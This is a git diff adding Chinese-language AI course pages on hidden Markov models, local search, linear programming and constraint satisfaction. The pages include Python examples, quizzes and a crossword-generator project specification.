+![](https://cdn.xyxsw.site/FnyrbYSEWohimaxIYPSchotGnse.png)
+
+基于隐马尔科夫模型，可以实现多种任务：
+
+- 筛选 Filtering: 给定从开始到现在的观察结果，计算出<strong>当前</strong>状态的概率分布。例如，给从从特定时间开始到今天人们带伞的信息，我们产生一个今天是否下雨的概率分布。
+- 预测 Prediction: 给定从开始到现在的观察，计算<strong>未来</strong>状态的概率分布。
+- 平滑化 Smoothing: 给定从开始到现在的观察，计算<strong>过去</strong>状态的概率分布。例如，鉴于今天人们带了雨伞，计算昨天下雨的概率。
+- 最可能的解释 Most likely explanation: 鉴于从开始到现在的观察，计算最可能的事件顺序。
+
+    最可能的解释任务可用于语音识别等过程，根据多个波形，人工智能推断出给这些波形带来的最有可能的单词或音节的序列。
+
+接下来是一个隐马尔科夫模型的 Python 实现，我们将用于最可能的解释任务：
+
+```python
+from pomegranate import *
+# 每个状态的观测模型
+sun = DiscreteDistribution({
+    "umbrella": 0.2,
+    "no umbrella": 0.8
+})
+rain = DiscreteDistribution({
+    "umbrella": 0.9,
+    "no umbrella": 0.1
+})
+states = [sun, rain]
+# 过渡模型
+transitions = numpy.array(
+    [[0.8, 0.2], # Tomorrow's predictions if today = sun
+     [0.3, 0.7]] # Tomorrow's predictions if today = rain
+)
+# 起始概率
+starts = numpy.array([0.5, 0.5])
+# 建立模型
+model = HiddenMarkovModel.from_matrix(
+    transitions, states, starts,
+    state_names=["sun", "rain"]
+)
+model.bake()
+```
+
+请注意，我们的模型同时具有传感器模型和过渡模型。对于隐马尔可夫模型，我们需要这两个模型。在下面的代码片段中，我们看到了人们是否带伞到大楼的观察序列，根据这个序列，我们将运行模型，它将生成并打印出最可能的解释 (即最可能带来这种观察模式的天气序列):
+
+```python
+from model import model
+# 观测到的数据
+observations = [
+    "umbrella",
+    "umbrella",
+    "no umbrella",
+    "umbrella",
+    "umbrella",
+    "umbrella",
+    "umbrella",
+    "no umbrella",
+    "no umbrella"
+]
+# 预测隐藏状态
+predictions = model.predict(observations)
+for prediction in predictions:
+    print(model.states[prediction].name)
+```
+
+在这种情况下，程序的输出将是 rain,rain,sun,rain,rain,rain,rain,sun,sun。根据我们对人们带伞或不带伞到大楼的观察，这一输出代表了最有可能的天气模式。
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.4.1程序示例.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.4.1程序示例.md
new file mode 100644
index 0000000..b7a8f42
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.3.4.1程序示例.md
@@ -0,0 +1,341 @@
+# 程序示例
+
+::: tip
+阅读程序并运行
+
+完成习题
+:::
+
+::: tip 📥
+本节附件下载 <Download url="https://cdn.xyxsw.site/code/4-Lecture.zip"/>
+:::
+
+## Hospital(局部搜索)
+
+```python
+import random
+
+class Space():
+    def __init__(self, height, width, num_hospitals):
+        """创建一个具有给定维度的新状态空间"""
+        self.height = height                  # 高度
+        self.width = width                    # 宽度
+        self.num_hospitals = num_hospitals    # 医院数量
+        self.houses = set()                   # 住房位置集合
+        self.hospitals = set()                # 医院位置集合
+
+    def add_house(self, row, col):
+        """在状态空间中的特定位置添加住房"""
+        self.houses.add((row, col))
+
+    def available_spaces(self):
+        """返回住房或医院当前未使用的所有单元格"""
+        # 考虑所有可能的单元格
+        candidates = set(
+            (row, col)
+            for row in range(self.height)
+            for col in range(self.width)
+        )
+        # 排除所有住房和医院
+        for house in self.houses:
+            candidates.remove(house)
+        for hospital in self.hospitals:
+            candidates.remove(hospital)
+        return candidates
+
+    def hill_climb(self, maximum=None, image_prefix=None, log=False):
+        """执行爬山算法找到解决方案"""
+        count = 0
+        # 从随机初始化的医院位置开始
+        self.hospitals = set()
+        for i in range(self.num_hospitals):
+            self.hospitals.add(random.choice(list(self.available_spaces())))
+        ...
+        # 执行算法，直到达到最大迭代次数
+        while maximum is None or count < maximum:
+            count += 1
+            best_neighbors = []
+            best_neighbor_cost = None
+            # 考虑所有医院移动
+            for hospital in self.hospitals:
+                # 考虑一下那家医院的所有邻居
+                for replacement in self.get_neighbors(*hospital):
+                    # 生成一组相邻的医院
+                    neighbor = self.hospitals.copy()
+                    neighbor.remove(hospital)
+                    neighbor.add(replacement)
+                    # 检查邻居是否是迄今为止最好的
+                    cost = self.get_cost(neighbor)
+                    if best_neighbor_cost is None or cost < best_neighbor_cost:
+                        best_neighbor_cost = cost
+                        best_neighbors = [neighbor]
+                    elif best_neighbor_cost == cost:
+                        best_neighbors.append(neighbor)
+            # 没有一个邻居比目前的状态更好
+            if best_neighbor_cost >= self.get_cost(self.hospitals):
+                return self.hospitals
+            # 移动到价值最高的邻居
+            else:
+                ...
+                self.hospitals = random.choice(best_neighbors)
+            ...
+
+    def random_restart(self, maximum, image_prefix=None, log=False):
+        """多次重复爬山算法"""
+        best_hospitals = None
+        best_cost = None
+        # 重复爬山算法的固定次数
+        for i in range(maximum):
+            hospitals = self.hill_climb()
+            cost = self.get_cost(hospitals)
+            if best_cost is None or cost < best_cost:
+                best_cost = cost
+                best_hospitals = hospitals
+                ...
+            else:
+                ...
+            ...
+        return best_hospitals
+
+    def get_cost(self, hospitals):
+        """计算从住房到最近医院的距离总和"""
+        cost = 0
+        for house in self.houses:
+            cost += min(
+                abs(house[0] - hospital[0]) + abs(house[1] - hospital[1])
+                for hospital in hospitals
+            )
+        return cost
+
+    def get_neighbors(self, row, col):
+        """返回尚未包含住房或医院的邻居"""
+        candidates = [
+            (row - 1, col),
+            (row + 1, col),
+            (row, col - 1),
+            (row, col + 1)
+        ]
+        neighbors = []
+        for r, c in candidates:
+            if (r, c) in self.houses or (r, c) in self.hospitals:
+                continue
+            if 0 <= r < self.height and 0 <= c < self.width:
+                neighbors.append((r, c))
+        return neighbors
+
+    def output_image(self, filename):
+        """生成所有房屋和医院的图像（不作要求）"""
+        from PIL import Image, ImageDraw, ImageFont
+        cell_size = 100
+        cell_border = 2
+        cost_size = 40
+        padding = 10
+
+        # Create a blank canvas
+        img = Image.new(
+            "RGBA",
+            (self.width * cell_size,
+             self.height * cell_size + cost_size + padding * 2),
+            "white"
+        )
+        house = Image.open("assets/images/House.png").resize(
+            (cell_size, cell_size)
+        )
+        hospital = Image.open("assets/images/Hospital.png").resize(
+            (cell_size, cell_size)
+        )
+        font = ImageFont.truetype("assets/fonts/OpenSans-Regular.ttf", 30)
+        draw = ImageDraw.Draw(img)
+
+        for i in range(self.height):
+            for j in range(self.width):
+
+                # Draw cell
+                rect = [
+                    (j * cell_size + cell_border,
+                     i * cell_size + cell_border),
+                    ((j + 1) * cell_size - cell_border,
+                     (i + 1) * cell_size - cell_border)
+                ]
+                draw.rectangle(rect, fill="black")
+
+                if (i, j) in self.houses:
+                    img.paste(house, rect[0], house)
+                if (i, j) in self.hospitals:
+                    img.paste(hospital, rect[0], hospital)
+
+        # Add cost
+        draw.rectangle(
+            (0, self.height * cell_size, self.width * cell_size,
+             self.height * cell_size + cost_size + padding * 2),
+            "black"
+        )
+        draw.text(
+            (padding, self.height * cell_size + padding),
+            f"Cost: {self.get_cost(self.hospitals)}",
+            fill="white",
+            font=font
+        )
+
+        img.save(filename)
+
+# 创建一个状态空间并随机添加住房
+s = Space(height=10, width=20, num_hospitals=3)
+for i in range(15):
+    s.add_house(random.randrange(s.height), random.randrange(s.width))
+# 使用局部搜索来确定医院位置
+hospitals = s.random_restart(maximum=100, image_prefix="hospitals", log=True)
+```
+
+## Production(线性规划)
+
+```python
+import scipy.optimize
+# Objective Function: 50x_1 + 80x_2
+# Constraint 1: 5x_1 + 2x_2 <= 20
+# Constraint 2: -10x_1 + -12x_2 <= -90
+result = scipy.optimize.linprog(
+    [50, 80],  # Cost function: 50x_1 + 80x_2
+    A_ub=[[5, 2], [-10, -12]],  # Coefficients for inequalities
+    b_ub=[20, -90],  # Constraints for inequalities: 20 and -90
+)
+if result.success:
+    print(f"X1: {round(result.x[0], 2)} hours")
+    print(f"X2: {round(result.x[1], 2)} hours")
+else:
+    print("No solution")
+```
+
+## Schedule(约束满足)
+
+```python
+"""没有任何启发式或推理的自然回溯搜索"""
+VARIABLES = ["A", "B", "C", "D", "E", "F", "G"]
+CONSTRAINTS = [
+    ("A", "B"),
+    ("A", "C"),
+    ("B", "C"),
+    ("B", "D"),
+    ("B", "E"),
+    ("C", "E"),
+    ("C", "F"),
+    ("D", "E"),
+    ("E", "F"),
+    ("E", "G"),
+    ("F", "G")
+]
+
+def backtrack(assignment):
+    """运行回溯搜索以查找赋值"""
+    # 检查赋值是否完成
+    if len(assignment) == len(VARIABLES):
+        return assignment
+    # 尝试一个新变量
+    var = select_unassigned_variable(assignment)
+    for value in ["Monday", "Tuesday", "Wednesday"]:
+        new_assignment = assignment.copy()
+        new_assignment[var] = value
+        if consistent(new_assignment):
+            result = backtrack(new_assignment)
+            if result is not None:
+                return result
+    return None
+
+def select_unassigned_variable(assignment):
+    """按顺序选择尚未赋值的变量"""
+    for variable in VARIABLES:
+        if variable not in assignment:
+            return variable
+    return None
+
+
+def consistent(assignment):
+    """检查分配是否一致"""
+    for (x, y) in CONSTRAINTS:
+        # 仅考虑变量赋值都已指定的弧
+        if x not in assignment or y not in assignment:
+            continue
+        # 如果两者的值相同，则不一致
+        if assignment[x] == assignment[y]:
+            return False
+    # 如果没有不一致的地方，那么赋值是一致的
+    return True
+
+solution = backtrack(dict())
+print(solution)
+```
+
+使用命令`pip install python-constraint`安装 constraint 库
+
+```python
+from constraint import *
+
+problem = Problem()
+
+# 添加变量
+problem.addVariables(
+    ["A", "B", "C", "D", "E", "F", "G"],
+    ["Monday", "Tuesday", "Wednesday"]
+)
+
+# 添加约束
+CONSTRAINTS = [
+    ("A", "B"),
+    ("A", "C"),
+    ("B", "C"),
+    ("B", "D"),
+    ("B", "E"),
+    ("C", "E"),
+    ("C", "F"),
+    ("D", "E"),
+    ("E", "F"),
+    ("E", "G"),
+    ("F", "G")
+]
+for x, y in CONSTRAINTS:
+    problem.addConstraint(lambda x, y: x != y, (x, y))
+
+# Solve problem
+for solution in problem.getSolutions():
+    print(solution)
+```
+
+## Quiz
+
+1. 对于以下哪一项，即使多次重新运行算法，也会始终找到相同的解决方案？
+   假设一个问题的目标是最小化成本函数，并且状态空间中的每个状态都有不同的成本。
+   1. Steepest-ascent hill-climbing，每次从不同的初始状态开始
+   2. Steepest-ascent hill-climbing，每次都从相同的初始状态开始
+   3. Stochastic hill-climbing，每次从不同的初始状态开始
+   4. Stochastic hill-climbing，每次都从相同的初始状态开始
+   5. 无论是 steepest-ascent 还是 stochastic hill climbing，只要你总是从同一个初始状态开始
+   6. 无论是 steepest-ascent 还是 stochastic hill climbing，只要每次都从不同的初始状态开始
+   7. 没有任何版本的爬山算法能保证每次都能得到相同的解决方案
+
+2. 下面两个问题都会问你关于下面描述的优化问题。
+    一位农民正在尝试种植两种作物，`作物 1` 和`作物 2`，并希望实现利润最大化。农民将从种植的每英亩`作物 1` 中获得 500 美元的利润，从种植的每英亩`作物 2` 中获得 400 美元的利润。然而，农民今天需要在早上 7 点到晚上 7 点之间的 12 个小时内完成所有的种植。种植一英亩的`作物 1` 需要 3 个小时，种植一英亩`作物 2` 需要 2 个小时。农民在供应方面也很有限：他有足够的供应种植 10 英亩的`作物 1`，有足够的资源种植 4 英亩的`作物 2`。假设变量 C1 表示要种植的`作物 1` 的英亩数，变量 C2 表示要种植`作物 2` 的英亩数。
+
+    对于这个问题，什么是有效的目标函数？
+
+    1. 10 \* C1 + 4 \* C2
+    2. -3 \* C1 - 2 \* C2
+    3. 500 \* 10 \* C1 + 400 \* 4 \* C2
+    4. 500 \* C1 + 400 \* C2
+    5. C1 + C2
+
+3. 这个问题的制约因素是什么？
+    1. 3 \* C1 + 2 \* C2 <= 12, C1 <= 10, C2 <= 4
+    2. 3 \* C1 + 2 \* C2 <= 12, C1 + C2 <= 14
+    3. 3 \* C1 <= 10, 2 \* C2 <= 4
+    4. C1 + C2 <= 12, C1 + C2 <= 14
+
+4. 下面的问题将问你以下考试安排约束满足图，其中每个节点代表一个课程。每门课程都与可能的考试日的初始域相关联（大多数课程可能在周一、周二或周三；少数课程已经被限制在一天内）。两个节点之间的边意味着这两个课程必须在不同的日子进行考试。
+
+    在对整个问题满足弧一致性之后，变量 C、D 和 E 的结果域是什么？
+
+    1. C 的域是\{Mon，Tue\}，D 的域是\{Wed\}，E 的域是\{Mon\}
+    2. C 的域是\{Mon\}，D 的域是\{Wed\}，E 的域为\{Tue\}
+    3. C 的域是\{Mon\}，D 的域是\{Tue\}，E 的域为\{Wed\}
+    4. C 的域是\{Mon\}，D 的域是\{Mon，Wed\}，E 的域是\{Tue，Wed\}
+    5. C 的域是\{Mon，Tue，Wed\}，D 的域是\{Mon，Wed\}，E 的域是\{Mon，Tue，Wed\}
+    6. C 的域是\{Mon\}，D 的域是\{Mon，Wed\}，E 的域是\{Mon，Tue，Wed\}
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.4.2项目：填词游戏.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.4.2项目：填词游戏.md
new file mode 100644
index 0000000..0907a5f
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.3.4.2项目：填词游戏.md
@@ -0,0 +1,138 @@
+# 项目——填词游戏
+
+::: tip
+我们为你提供了一个简单有趣的项目，帮助你进行知识巩固，请认真阅读文档内容。
+
+如果你卡住了，请记得回来阅读文档，或请求身边人的帮助。
+:::
+
+::: tip 📥
+本节附件下载 <Download url="https://cdn.xyxsw.site/code/4-Projects.zip"/>
+:::
+
+编写一个人工智能来完成填词游戏。
+
+能够实现将文字转换为图片。
+
+```shell
+$ python generate.py data/structure1.txt data/words1.txt output.png
+|█|█|█|█|█|█|█|█|█|█|█|█|█|█|
+|█|█|█|█|█|█|█|M|█|█|█|█|R|█|
+|█|I|N|T|E|L|L|I|G|E|N|C|E|█|
+|█|N|█|█|█|█|█|N|█|█|█|█|S|█|
+|█|F|█|█|L|O|G|I|C|█|█|█|O|█|
+|█|E|█|█|█|█|█|M|█|█|█|█|L|█|
+|█|R|█|█|█|S|E|A|R|C|H|█|V|█|
+|█|█|█|█|█|█|█|X|█|█|█|█|E|█|
+|█|█|█|█|█|█|█|█|█|█|█|█|█|█|
+```
+
+![4.3.4.2-0](https://cdn.xyxsw.site/4.3.4.2-0.png)
+
+## 背景
+
+你如何生成一个填字游戏？考虑到填字游戏的结构 (即网格中哪些方格需要填入字母)，以及要使用的单词列表，问题就变成了选择哪些单词应该填入每个垂直或水平的方格序列。我们可以将这种问题建模为一个约束满足问题。每一个方格序列都是一个变量，我们需要决定它的值 (在可能的单词域中哪个单词将被填入该序列)。考虑一下下面的字谜结构。
+
+![4.3.4.2-1](https://cdn.xyxsw.site/4.3.4.2-1.png)
+
+在这个结构中，我们有四个变量，代表了我们需要填入这个字谜的四个单词 (在上图中每个单词都用数字表示)。每个变量由四个值定义：它开始的行 (`i`值)，它开始的列 (`j`值)，单词的方向 (纵向或横向 down or across)，以及单词的长度。例如，`变量1`将是一个由第 1 行 (假设从顶部计数的 0 索引)、第 1 列 (假设从左边计数的 0 索引)、方向为`across`和`4`的长度表示的变量。
+
+与许多约束满足问题一样，这些变量有一元和二元约束。变量的一元约束是由其长度决定的。例如，对于`变量1`来说，数值`BYTE`可以满足一元约束，但是数值`BIT`则不能 (它有错误的字母数量)。因此，任何不满足变量的一元约束的值都可以立即从变量的域中删除。
+
+变量的二元约束是由其与相邻变量的重合度给出的。`变量1`有一个邻居：`变量2`。`变量2`有两个邻居：`变量1`和`变量3`。对于每一对相邻的变量，这些变量都有一个重叠部分：一个它们共同的单方块。我们可以将这种重叠表示为每个变量有用相同字符位置的索引对。例如，`变量1`和`变量2`之间的重叠可以表示为一对`(1, 0)`，这意味着`变量1`在索引 1 处的字符必然与`变量2`在索引 0 处的字符相同 (再次假设索引从 0 开始)。因此，`变量2`和`变量3`之间的重叠将被表示为一对`(3, 1)`，`变量2`的值的字符`3`必须与`变量3`的值的字符`1`相同。
+
+对于这个问题，我们将增加一个额外的约束条件，即所有的单词必须是不同的：同一个单词不应该在谜题中重复出现多次。
+
+那么，接下来的挑战是写一个程序来找到一个满意的赋值：为每个变量提供一个不同的词 (来自给定的词汇表)，从而满足所有的一元和二元约束。
+
+## 理解
+
+这个项目中有两个 Python 文件：`crossword.py`和`generate.py`。第一个文件已经完全为你写好了，第二个文件有一些函数留给你去实现。
+
+首先，让我们看一下`crossword.py`。这个文件定义了两个类，`Variable`(代表填字游戏中的变量) 和`Crossword`(代表填字游戏本身)。
+
+注意，要创建一个变量，我们必须指定四个值：它的第`i`行，第`j`列，它的方向 (常数`Variable.ACROSS`或常数`Variable.DOWN``)，以及它的长度(`length``)。
+
+字谜类需要两个值来创建一个新的字谜：一个定义了字谜结构的`structure_file`(`_`用来代表空白单元格，任何其他字符都代表不会被填入的单元格) 和一个定义了字词列表 (每行一个) 的`word_file`，用来作为游戏的词汇表。这些文件的三个例子可以在项目的数据目录中找到，也欢迎你自己创建。
+
+特别要注意的是，对于任何一个字谜对象的字谜，我们都会存储以下的数值：
+
+- `crossword.height`是一个整数，代表填字游戏的高度。
+- `crossword.width`是一个整数，代表填字游戏的宽度。
+- `crossword.structure`是一个二维列表，代表字谜的结构。对于任何有效的第 i 行和第 j 列，如果该单元格是空白的，`crossword.structure[i][j]`将为真 (必须在该单元格中填入一个字符)，否则将为假 (该单元格中没有字符要填)。
+- `crossword.words`是一个包含所有单词的集合，在构建填字游戏的时候，可以从这些单词中提取。
+- `crossword.variables`是谜题中所有变量的集合 (每个变量都是一个 Variable 对象)。
+- `crossword.overlaps`是一个字典，它将一对变量映射到它们的重合处。对于任何两个不同的变量 v1 和 v2，如果这两个变量没有重叠，`crossword.overlaps[v1, v2]`将是`None`，如果这两个变量有重叠，则是一对整数`(i, j)`。这对`(i, j)`应被解释为：`v1`的第`i`个字符的值必须与`v2`的第`j`个字符的值相同。
+
+`Crossword`对象还支持一个方法`neighbors`，它可以返回与给定变量重叠的所有变量。也就是说，`crossword.neighbors(v1)`将返回一个与变量`v1`相邻的所有变量的集合。
+
+接下来，看一下`generate.py`。在这里，我们定义了一个`CrosswordCreator`类，我们将用它来解决填字游戏。当一个`CrosswordCreator`对象被创建时，它得到一个填字游戏的属性，它应该是一个`Crossword`对象 (因此具有上面描述的所有属性)。每个`CrosswordCreator`对象还得到一个域属性：一个字典，它将变量映射到该变量可能作为一个值的一组词。最初，这组词是我们词汇表中的所有词，但我们很快就会写函数来限制这些域。
+
+我们还为你定义了一些函数，以帮助你测试你的代码：`print`将向终端打印你的填字游戏的一个给定的赋值 (每个赋值，在这个函数和其他地方，是一个字典，将变量映射到它们相应的词)。同时，`save`将生成一个与给定作业相对应的图像文件 (如果你无法使用这个函数，你需要`pip3 install Pillow`)。 `letter_grid`是一个被`print`和`save`使用的辅助函数，它为给定的赋值生成一个所有字符在其适当位置的 2D 列表：你可能不需要自己调用这个函数，但如果你想的话，欢迎你这样做。
+
+最后，注意`solve`函数。这个函数做了三件事：首先，它调用`enforce_node_consistency`来强制执行填字游戏的节点一致性，确保变量域中的每个值都满足一元约束。接下来，该函数调用`ac3`来强制执行弧一致性，确保二元约束得到满足。最后，该函数在最初的空赋值 (空字典 dict()) 上调用`backtrack`，试图计算出问题的解决方案。
+
+不过，`enforce_node_consistency`、`ac3`和`backtrack`等函数还没有实现 (以及其他函数)。这就是你的任务。
+
+## 明确
+
+完成`grece_node_consistency`, `revise`, `ac3`, `assignment_complete`, `consistent`, `order_domain_values`, `selected_unassigned_variable`和`backtrack`在`generate.py`中的实现，这样如果有有解的话你的人工智能就能生成完整的字谜。
+
+- `enforce_node_consistency`函数应该更新`self.domains`，使每个变量都是节点一致的。
+  - 回顾一下，当对每个变量来说，其域中的每个值都与该变量的一元约束一致时，就实现了节点一致性。在填字游戏的情况下，这意味着要确保变量域中的每个值的字母数与变量的长度相同。
+  - 要从一个变量`v`的域中移除一个值`x`，因为`self.domains`是一个将变量映射到数值集的字典，你可以调用`self.domains[v].remove(x)`。
+  - 这个函数不需要返回值。
+- `revise`函数应该使变量 x 与变量 y 保持弧一致性。
+  - `x`和`y`都是`Variable`对象，代表谜题中的变量。
+  - 回顾一下，当`x`的域中的每一个值在`y`的域中都有一个不引起冲突的可能值时，`x`就与`y`保持弧一致性。(在填字游戏的背景下，冲突是指一个方格，两个变量对它的字符值意见不一)。
+  - 为了使`x`与`y`保持一致，你要从`x`的域中删除任何在`y`的域中没有相应可能值的值。
+  - 回顾一下，你可以访问`self.crossword.overlaps`来获得两个变量之间的重叠，如果有的话。
+  - `y`的域应该不被修改。
+  - 如果对`x`的域进行了修改，该函数应返回`True`；如果没有修改，则应返回`False`。
+
+- `ac3`函数应该使用`AC3`算法，对问题实施弧一致性。回顾一下，当每个变量域中的所有值都满足该变量的二进制约束时，就实现了弧一致性。
+  - 回顾一下，`AC3`算法保持着一个要处理的弧的队列。这个函数需要一个叫做`arcs`的可选参数，代表要处理的弧的初始列表。如果`arcs`是`None`，你的函数应该从问题中的所有弧的初始队列开始。否则，你的算法应该从一个初始队列开始，该队列中只有在列表`arcs`中的弧 (其中每个弧是一个变量`x`和另一个变量`y`的元组`(x，y)`)。
+  - 回顾一下，为了实现`AC3`，你要一次一次地修改队列中的每个弧。不过，任何时候你对一个域做了改变，你可能需要在队列中增加额外的弧，以确保其他弧保持一致。
+  - 你可能会发现在`ac3`的实现中调用`revise`函数是很有帮助的。
+  - 如果在执行弧一致性的过程中，你从一个域中删除了所有剩余的值，则返回`False`(这意味着问题无解，因为这个变量已经没有可能的值了)。否则，返回`True`。
+  - 你不需要担心在这个函数中强制执行词的唯一性 (你将在`consistent`函数中实现这个检查。)
+
+- `assignment_complete`函数应该 (如其名所示) 检查一个给定的赋值是否完成。
+  - `assignment`是一个字典，其中键是`Variable`对象，值是代表这些变量将采取的单词的字符串。
+  - 如果每个字谜变量都被分配到一个值 (不管这个值是什么)，那么这个赋值就是完整的。
+  - 如果赋值完成，该函数应该返回`True`，否则返回`False`。
+
+- `consistent`函数应该检查一个给定的`assignment`是否一致。
+  - `assignment`是一个字典，其中的键是`Variable`对象，值是代表这些变量将采取的词语的字符串。请注意，赋值不一定是完整的：不是所有的变量都会出现在赋值中。
+  - 如果一个赋值满足问题的所有约束条件，那么它就是一致的：也就是说，所有的值都是不同的，每个值的长度都是正确的，并且相邻的变量之间没有冲突。
+  - 如果赋值是一致的，该函数应该返回`True`，否则返回`False`。
+
+- `order_domain_values`函数应该返回一个`var`域中所有数值的列表，根据最小约束值启发式排序。
+  - `var`将是一个变量对象，代表谜题中的一个变量。
+  - 回顾一下，最小约束值启发式的计算方法是一个赋值导致约束邻近的未分配的变量的数量。也就是说，如果给`var`赋值的结果是排除了邻近变量的`n`个可能的选择，你应该按照`n`的升序排列你的结果。
+  - 请注意，在`assignment`中出现的任何变量都已经有了一个值，因此在计算相邻未赋值变量被排除的值的数量时不应该被计算在内。
+  - 对于排除相邻变量相同数量可能选择的域值，任何排序都是可以接受的。
+  - 回顾一下，你可以访问`self.crossword.overlaps`来获得两个变量之间的重叠，如果有的话。
+  - 首先通过返回一个任意顺序的数值列表来实现这个函数可能会有帮助 (这仍然会产生正确的填字游戏)。一旦你的算法开始工作，你就可以回去确保这些值是以正确的顺序返回的。
+  - 你可能会发现根据一个特定的 key 来对一个[列表](https://docs.python.org/3/howto/sorting.html)进行排序是很有帮助的：Python 包含一些有用的函数来实现这一点。
+
+- `select_unassigned_variable`函数应该根据最小剩余值启发式，然后是度启发式，返回字谜中尚未被赋值的单个变量。
+  - `assignment`是一个字典，其中键是`Variable`对象，值是代表这些变量将承担的单词的字符串。你可以假设赋值不会是完整的：不是所有的变量都会出现在`assignment`中。
+  - 你的函数应该返回一个`Variable`对象。你应该返回在其域中剩余数值最少的变量。如果变量之间存在平局，你应该在这些变量中选择度最大的变量 (拥有最多的邻居)。如果在这两种情况下都相同，你可以在相同的变量中任意选择。
+  - 首先通过返回任意未分配的变量来实现这个函数可能是有帮助的 (这应该仍然会产生正确的填字游戏)。一旦你的算法开始工作，你就可以回去修改这个函数确保你是根据启发式方法返回一个变量。
+  - 你可能会发现根据一个特定的 key 来对一个列表进行[排序](https://docs.python.org/3/howto/sorting.html)是很有帮助的：Python 包含一些有用的函数来实现这一点。
+
+- `backtrack`函数应该接受一个部分赋值`assignment`作为输入，并且使用回溯搜索，如果有可能的话，返回一个完整的令人满意的变量赋值。
+  - `assignment`是一个字典，其中键是`Variable`对象，值是代表这些变量将承担的单词的字符串。你可以假设赋值不会是完整的：不是所有的变量都会出现在`assignment`中。
+  - 如果有可能生成一个令人满意的字谜，你的函数应该返回完整的赋值：一个字典，其中每个变量是一个键，值是该变量应该承担的单词。如果不可能产生令人满意的赋值，该函数应该返回`None`。
+  - 如果你愿意，你可能会发现，如果你把搜索和推理交织在一起，你的算法会更有效率 (比如每次做新的赋值时都要保持弧一致性)。我们不要求你这样做，但允许你这样做，只要你的函数仍然产生正确的结果。(正是由于这个原因，`ac3`函数允许一个`arcs`的参数，以防你想从不同的弧队列开始)。
+
+除了要求你实现的函数外，你不应该修改`generate.py`中的任何其他东西，尽管你可以编写额外的函数和/或导入其他 Python 标准库模块。如果你熟悉`numpy`或`pandas`，你也可以导入它们，但是你不应该使用任何其他的第三方 Python 模块。你不应该修改`crossword.py`中的任何东西。
+
+## 提示
+
+- 对于`order_domain_values`和`select_unassigned_variable`来说，不以启发式方法实现它们，然后再添加启发式方法可能会有帮助。你的算法仍然可以工作：只是在找到一个解决方案之前，它可能会探索更多的分配，而不是它需要的。
+
+- 要运行你的程序，你可以运行类似`python generate.py data/structure1.txt data/words1.txt`的命令，指定一个结构文件和一个单词文件。如果可以进行赋值，你应该看到打印出来的赋值。你也可以为图像文件添加一个额外的命令行参数，如运行`python generate.py data/structure1.txt data/words1.txt output.png`，可以为生成的填字游戏生成一个图像表示。
+
+- `Crossword`类有一个`neighbors`函数，可以用来访问某个特定变量的所有邻居 (即重叠的变量)。在你需要确定某个特定变量的邻居时，请随时使用这个函数。
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.4最优化.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.4最优化.md
new file mode 100644
index 0000000..ca8336f
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.3.4最优化.md
@@ -0,0 +1,301 @@
+# 最优化
+
+最优化是指从一组可能的选项中选择最佳选项。我们已经遇到过试图找到最佳选项的问题，比如在极大极小算法中，今天我们将学习一些工具，可以用来解决更广泛的问题。
+
+## 局部搜索 (Local Search)
+
+局部搜索是一种保持单一节点并通过移动到邻近的节点进行搜索的搜索算法。这种类型的算法与我们之前看到的搜索类型不同。例如，在解决迷宫的过程中，我们想找到通往目标的最快捷的方法，而局部搜索则对寻找问题的最佳答案感兴趣。通常情况下，局部搜索会带来一个不是最佳但 "足够好 "的答案，以节省计算能力。考虑一下下面这个局部搜索问题的例子：我们有四所房子在设定的位置。我们想建两所医院，使每所房子到医院的距离最小。这个问题可以形象地描述如下：
+
+![4.3.4-0](https://cdn.xyxsw.site/4.3.4-0.png)
+
+在这幅图中，我们看到的是房屋和医院的可能配置。它们之间的距离是用曼哈顿距离 (向上、向下和向两侧移动的次数；在[搜索](4.3.1搜索.md) 中详细讨论) 来衡量的，从每个房子到最近的医院的距离之和是 17。我们称其为成本 __(cost)__，因为我们试图使这个距离最小化。在这种情况下，一个状态将是房屋和医院的任何一个配置。
+
+把这个概念抽象化，我们可以把每一种房屋和医院的配置表现为下面的状态空间图。图中的每一条都代表一个状态的值，在我们的例子中，它是房屋和医院配置的成本。
+
+![4.3.4-1](https://cdn.xyxsw.site/4.3.4-1.png)
+
+从这个可视化的角度来看，我们可以为我们接下来的讨论定义几个重要的术语：
+
+- 目标函数 __(Objective Function)__ 是一个函数，我们用它来最大化解决方案的值。
+- 成本函数 __(Cost Function)__ 是一个我们用来最小化解决方案成本的函数 (这就是我们在房屋和医院的例子中要使用的函数。我们想要最小化从房屋到医院的距离)。
+- 当前状态 __(Current State)__ 是指函数目前正在考虑的状态。
+- 邻居状态 __(Neighbor State)__ 是当前状态可以过渡到的一个状态。在上面的一维状态空间图中，邻居状态是指当前状态两侧的状态。在我们的例子中，邻居状态可以是将其中一家医院向任何方向移动一步所产生的状态。邻居状态通常与当前状态相似，因此，其值与当前状态的值接近。
+
+请注意，局部搜索算法的工作方式是考虑当前状态下的一个节点，然后将该节点移动到当前状态的一个邻节点处。这与极大极小算法不同，例如，在极大极小算法中，状态空间中的每一个状态都被递归地考虑。
+
+## 爬山算法 (Hill Climbing)
+
+爬山算法是局部搜索算法的一种类型。在这个算法中，邻居的状态与当前的状态进行比较，如果其中任何一个状态更好，我们就把当前的节点从当 - 的状态改为该邻居的状态。“好状态”的定义是由目标函数决定的，倾向于一个较高的值，或一个递减函数，倾向于一个较低的值。
+
+一个爬山算法在伪代码中会有以下样子：
+
+```txt
+function Hill-Climb(problem):
+    current = initial state of problem
+    repeat:
+        neighbor = best valued neighbor of current
+        if neighbor not better than current:
+            return current
+        current = neighbor
+```
+
+在这个算法中，我们从一个当前状态开始。在一些问题中，我们会知道当前的状态是什么，而在其他问题中，我们将不得不从随机选择一个状态开始。然后，我们重复以下动作：我们评估邻居状态，选择一个具有最佳值的邻居状态。然后，我们将这个邻居状态的值与当前状态的值进行比较。如果邻居状态更好，我们将当前状态切换到邻居状态，然后重复这个过程。当我们将最佳邻居与当前状态进行比较，并且当前状态更好时，该过程就结束了。然后，我们返回当前状态。
+
+使用爬山算法，我们可以开始改进我们在例子中分配给医院的位置。经过几次转换，我们得到了以下状态：
+
